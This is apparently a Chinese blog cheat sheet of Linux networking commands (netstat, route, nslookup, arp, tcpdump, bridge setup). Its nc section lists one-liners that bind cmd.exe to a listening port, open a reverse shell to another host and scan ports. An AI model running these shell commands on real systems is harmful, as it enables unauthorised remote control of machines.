網絡操作相關命令

netstat

-r 顯示路由表

-I/i 顯示網絡接口信息

-s 收發包統計信息

-v 顯示詳細信息,包括unix socket、連接狀態和路徑

-e 還能顯示user

-p 顯示使用它的進程

-l listening

-a 所有的

-n 不解析域名、用戶名,直接顯示數字

t/u tcp還是udp指定

ping

-c 指定個數

-i 指定時間間隔,按s記

-t 指定ttl

route

route命令用來顯示並設置Linux內核中的網絡路由表,route命令設置的路由主要是靜態路由。直接在命令行下執行route命令來添加路由,不會永久保存,當網卡重啓或者機器重啓之後,該路由就失效了;可以在/etc/rc.local中添加route命令來保證該路由設置永久有效。參考地址:http://man.linuxde.net/route

-A:設置地址類型;
-C:打印將Linux核心的路由緩存;
-v:詳細信息模式;
-n:不執行DNS反向查找,直接顯示數字形式的IP地址;
-e:netstat格式顯示路由表;
-net:到一個網絡的路由表;
-host:到一個主機的路由表。一般用法:route,route -n其中Flags爲路由標誌,標記當前網絡節點的狀態,Flags標誌說明:
  • U Up表示此路由當前爲啓動狀態。
  • H Host,表示此網關爲一主機。
  • G Gateway,表示此網關爲一路由器。
  • R Reinstate Route,使用動態路由重新初始化的路由。
  • D Dynamically,此路由是動態性地寫入。
  • M Modified,此路由是由路由守護程序或導向器動態修改。
  • ! 表示此路由當前爲關閉狀態。

traceroute

跟蹤ip路由。

nslookup

nslookup命令用於查詢DNS的記錄,查看域名解析是否正常,在網絡故障的時候用來診斷網絡問題。

nslookup domain [dns-server]

https://www.cnblogs.com/earl86/archive/2009/02/06/1666439.html

arp

-a

-s 增加

-d 刪除

dig

domain 查看域名解析過程

nc

nc -vv ip port

反彈:nc -l -n 1234 -t -e cmd.exe

nc -nvv 192.168.0.1 80 連接到192.168.0.1主機的80端口

nc -l -p 80 開啓本機的TCP 80端口並監聽

nc -nvv -w2 -z 192.168.0.1 80-1024 掃錨192.168.0.1的80-1024端口(超時時間爲2s,-z連接成功後立即關閉 )

nc -l -p 5354 -t -e c:windows\system32\cmd.exe 綁定remote主機的cmdshell在remote的TCP 5354端口

nc -t -e c:windows\system32\cmd.exe 192.168.0.2 5354 梆定remote主機的cmdshell並反向連接192.168.0.2的5354端口

tcpdump

-D 查看可以抓包的網絡接口

-i 指定網絡接口

-c 指定數據包個數

-w 將抓到的數據寫入文件中

-r 讀取文件

-nn 不進行域名解析,直接顯示數字

指定協議類型:ip,ip6,arp,tcp,udp,wlan,icmp

-A 打印payload的ascii文本

-e 包含mac地址

-s 0 抓取完整數據包

過濾字段:host、src host、dst host、port、src port 、dst port、net

過濾條件連接符:not/and/or

示例:

tcpdump tcp -i eth1 -t -s 0 -c 100 and dst port ! 22 and src net 192.168.1.0/24 -w ./target.cap

tcpdump總的的輸出格式爲:系統時間 來源主機.端口 > 目標主機.端口 數據包參數

此時間戳的精度與內核時間精度一致, 反映的是內核第一次看到對應數據包的時間

還可以針對數據包傳輸層標誌位進行過濾:https://www.cnblogs.com/ggjucheng/archive/2012/01/14/2322659.html

tcpdump -i eth1 '((tcp) and (port 80) and ((dst host 192.168.1.254) or (dst host 192.168.1.200)))'

tcpdump [ -adeflnNOpqStvx ] [ -c 數量 ] [ -F 文件名 ]

[ -i 網絡接口 ] [ -r 文件名] [ -s snaplen ]

[ -T 類型 ] [ -w 文件名 ] [表達式 ]

 

在windows上或Linux上抓包,如果發現抓的包MTU大於1500,需要設置網卡禁用TSO。爲了降低 CPU 的負載,提高網絡的出口帶寬,

TSO 提供一些較大的緩衝區來緩存 TCP 發送的包,然後由網卡負責把緩存的大包拆分成多個小於 MTU 的包。tcpdump 或者 wireshare

抓取的是網卡上層的包,所以我們可能會觀察到大小超過 MTU 的包。Linux禁用tso命令爲:ethtool -K ethY tso off。

網橋操作

brctl addbr/delbr br0

brctl addif/delif br0 eth0

ip link set virbr0 up/down 必須down之後才能刪除網橋 或者ifup ifdown

brctl setageing br0 0 把所有的網橋都設置這個參數(網橋成hub了),不然網橋接收數據包數量級會少一個單位,200Mbps未丟包

網絡端口

0 - 1023: 常用端口和系統端口

1024 - 49151: 軟件的註冊端口

49152 - 65535: 動態端口或私有端口

其他操作

ss -lntu統計端口信息

sar-n DEV

tcpudump -D

ifstat

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章